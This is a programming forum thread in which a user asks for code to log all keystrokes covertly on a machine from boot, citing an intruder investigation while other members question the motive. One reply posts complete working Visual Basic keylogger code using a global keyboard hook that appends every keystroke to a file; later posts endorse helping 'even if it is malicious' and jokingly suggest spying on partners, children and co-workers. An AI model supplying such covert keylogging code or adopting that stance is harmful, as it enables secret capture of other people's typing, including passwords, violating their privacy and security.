Results 1 to 16 of 16

Thread: Logging Keystrokes

  1. #1

    Thread Starter
    Member
    Join Date
    Jan 2002
    Posts
    41

    Logging Keystrokes

    Hi,
    Hi need a few lines of code that will log any keystrokes made while the program is running bearing in mind the program will be hidden and will not be the active window. I want it to log to a file eg. 'C:\windows\log\log.txt'

    The program will start as soon as the machine boots and will end as soon as the user logs on.

    Regards
    S Roberts

  2. #2
    Hyperactive Member GlenW's Avatar
    Join Date
    Nov 2001
    Location
    Gateshead, England
    Posts
    479
    Would you mind explaining why you want this?

  3. #3

    Thread Starter
    Member
    Join Date
    Jan 2002
    Posts
    41

    Reason

    I am a net admin in Southhampton and we have had a few problems with people loggind on as admin... Because of the way the net is set up we can't tell which computer the intruder is logging on at, Solution: put a keystroke logger on the machine so we can locate which machine it is comming from...

  4. #4
    Fanatic Member RSINGH's Avatar
    Join Date
    May 2001
    Location
    London
    Posts
    522
    Apologies if I'm wrong but this request does sound dubious. Do you not have access to tools such as Webtrends. This would tell you exactly what you need. I'm sure internet logs on the Web Server hold hostname and login too.
    The liver is bad. It must be punished.

  5. #5
    Hyperactive Member GlenW's Avatar
    Join Date
    Nov 2001
    Location
    Gateshead, England
    Posts
    479
    I certainly would not want my password details to be stored in a file whenever I logged on.
    Which is basically what you're asking for.

  6. #6
    Serge's Avatar
    Join Date
    Feb 1999
    Location
    Scottsdale, Arizona, USA
    Posts
    2,744

    Keylogger

    Something like this:

    Module Code
    VB Code:
    1. Public Type KBDLLHOOKSTRUCT
    2.     vkCode As Long
    3.     scanCode As Long
    4.     flags As Long
    5.     time As Long
    6.     dwExtraInfo As Long
    7. End Type
    8. Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    9. Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    10. Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    11. Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
    12. Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    13. Public Const HC_ACTION = 0
    14. Public Const WM_KEYDOWN = &H100
    15. Public Const WM_KEYUP = &H101
    16. Public Const WM_SYSKEYDOWN = &H104
    17. Public Const WM_SYSKEYUP = &H105
    18. Public Const VK_TAB = &H9
    19. Public Const VK_CONTROL = &H11
    20. Private Const VK_LSHIFT = &HA0
    21. Private Const VK_RSHIFT = &HA1
    22. Private Const VK_RCONTROL = &HA3
    23. Private Const VK_LCONTROL = &HA2
    24. Private Const VK_SHIFT = &H10
    25. Public Const VK_ESCAPE = &H1B
    26. Public Const VK_DELETE = &H2E
    27.  
    28. Public Const WH_KEYBOARD_LL = 13
    29. Public Const LLKHF_ALTDOWN = &H20
    30.  
    31.  
    32. Dim m_udtKEYBOARDHOOK As KBDLLHOOKSTRUCT
    33.  
    34. Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    35.     Dim intFFN As Integer
    36.    
    37.     Dim blnConsumeKey As Boolean
    38.    
    39.     If (nCode = HC_ACTION) Then
    40.         If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
    41.             CopyMemory m_udtKEYBOARDHOOK, ByVal lParam, Len(m_udtKEYBOARDHOOK)
    42.                
    43.             intFFN = FreeFile
    44.             Open "C:\Keylogger.txt" For Append As intFFN
    45.            
    46.             With m_udtKEYBOARDHOOK
    47.                 If (.flags And LLKHF_ALTDOWN) <> 0 Then
    48.                     Print #intFFN, "ALT"
    49.                 End If
    50.                
    51.                 'print printable characters
    52.                 If .vkCode >= 33 And .vkCode <= 126 Then
    53.                     Print #intFFN, Chr(.vkCode)
    54.                 ElseIf .vkCode = VK_LSHIFT Or .vkCode = VK_RSHIFT Or .vkCode = VK_SHIFT Then
    55.                     Print #intFFN, "SHIFT"
    56.                 ElseIf .vkCode = VK_CONTROL Then
    57.                     Print #intFFN, "CONTROL"
    58.                 Else
    59.                     Print #intFFN, "ASCII: " & .vkCode
    60.                 End If
    61.             End With
    62.                
    63.             Close #intFFN
    64.            
    65.         End If
    66.     End If
    67.     KeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
    68. End Function

    Form Code (add a checkbox called chkLog)
    VB Code:
    1. Dim m_lngKeyboad As Long
    2.  
    3. Private Sub chkLog_Click()
    4.     If chkLog = vbChecked Then
    5.         m_lngKeyboad = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0)
    6.     Else
    7.         UnhookWindowsHookEx m_lngKeyboad
    8.         m_lngKeyboad = 0
    9.     End If
    10. End Sub
    11.  
    12.  
    13. Private Sub Form_Unload(Cancel As Integer)
    14.     If m_lngKeyboad <> 0 Then UnhookWindowsHookEx m_lngKeyboad
    15. End Sub
    You can improve the code by adding more conditions in the KeyboardProc function.

  7. #7
    Frenzied Member MerrionComputin's Avatar
    Join Date
    Apr 2001
    Location
    Dublin, Ireland
    Posts
    1,616
    If you are the net administrator then why not change tha administrator password and prevent them logging in that way?

    Note that a keylogger should not be able to log what is going on on the login window because that runs in its own protected desktop which does not allow other accounts to hook to it.

    Do a
    MSDN search for DESKTOP_HOOKCONTROL constant for more info
    ----8<---------------------------------------
    NEW - The .NET printer queue monitor component
    ----8<---------------------------------------
    Now with Examples of use

  8. #8
    PowerPoster
    Join Date
    Mar 2002
    Location
    UK
    Posts
    4,780
    Just draggin this out of the history for a bit of background.

    Im making a little app that needs to capture keystrokes from anywhere, and this does the job.

    What I need now is to check for two keys pressed at once.

    For instance, the user sets there start key as say Home, and then while they are holding it down any other key strokes are sent straight to my program (changing MP3s ).


    E.g Uses holds down Home
    then presses Q,
    Releases Home.

    Any ideas ?

  9. #9
    PowerPoster cafeenman's Avatar
    Join Date
    Mar 2002
    Location
    Florida
    Posts
    2,819
    There are applets called keystroke emulators available all over the place for download. They do exactly what you're talking about, i.e. log all keystrokes, run without being seen. Use it to see what you're significant other is doing online while you're away. Spy on your kids and co-workers. It's all good.

  10. #10
    PowerPoster
    Join Date
    Mar 2002
    Location
    UK
    Posts
    4,780
    Mayb Im looking in the wrong places, I cant find any coded examples.

    Wheres a good place to look ?

  11. #11
    Fanatic Member skald2k's Avatar
    Join Date
    Feb 2002
    Location
    Sydney, Australia
    Posts
    535
    Ok I think we've questioned this guy long enough. This is a programming forum, and if we can help this guy lets do it. Even if it is malicious it is educational and if he doesnt get the source here he will get it somewhere else.
    - If at first you dont succeed, then give up, cause you will never will!

  12. #12
    Frenzied Member MerrionComputin's Avatar
    Join Date
    Apr 2001
    Location
    Dublin, Ireland
    Posts
    1,616
    if we can help this guy lets do it...
    The code that Serge posted is exactly what he needs. It won't log the password stuff in WinNT/2000 or XP bu then nothing will , but all keystrokes in the default desktop will be logged regardless of what app etc.

    HTH,
    Duncan
    ----8<---------------------------------------
    NEW - The .NET printer queue monitor component
    ----8<---------------------------------------
    Now with Examples of use

  13. #13
    Fanatic Member skald2k's Avatar
    Join Date
    Feb 2002
    Location
    Sydney, Australia
    Posts
    535
    The code that Serge posted is exactly what he needs. It won't log the password stuff in WinNT/2000 or XP bu then nothing will , but all keystrokes in the default desktop will be logged regardless of what app etc.
    Good stuff, I might give this one a go on the weekend as well! Good old APIs.
    - If at first you dont succeed, then give up, cause you will never will!

  14. #14
    PowerPoster
    Join Date
    Mar 2002
    Location
    UK
    Posts
    4,780


    For once this actually has a purpose rather then stealing passwords.

    Its an MP3 player that you can control from anywhere.
    When im gaming, I have to mimize to change songs, and tis a real pain.

    The plan is when a user holds down a key (ie. Home), the MP3 player becomes active (not set focus though), and then any other key strokes are sent to it until the Home key is released.

    Its to change songs, turn up volume, replay etc.

    I was so bored of mimizing I wanted to make one

  15. #15
    Frenzied Member MerrionComputin's Avatar
    Join Date
    Apr 2001
    Location
    Dublin, Ireland
    Posts
    1,616
    In that case, what you need is a Hotkey control such as is available from this page - just set the key code you want and whenever that key is pressed regardless of which application is currently in the foreground...

    HTH,
    Duncan
    ----8<---------------------------------------
    NEW - The .NET printer queue monitor component
    ----8<---------------------------------------
    Now with Examples of use

  16. #16
    PowerPoster
    Join Date
    Mar 2002
    Location
    UK
    Posts
    4,780
    I just tried your control, and it doesnt work for one , and doesnt do what I need either.

    Maybe I am explaining myself badly.

    The user presses a key "HOME" they keep the key pressed, they do not let go of it.

    The user then presses another key, like "A", so now we have 2 buttons being pressed.

    The first button is to pick that the user wants to use my application, the next button is the option inside the application that they want to run. I need BOTH buttons pressed not one.

    I have code to do it from anywhere, thats fine, but I still need to know about BOTH buttons. I hope this claifies things.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width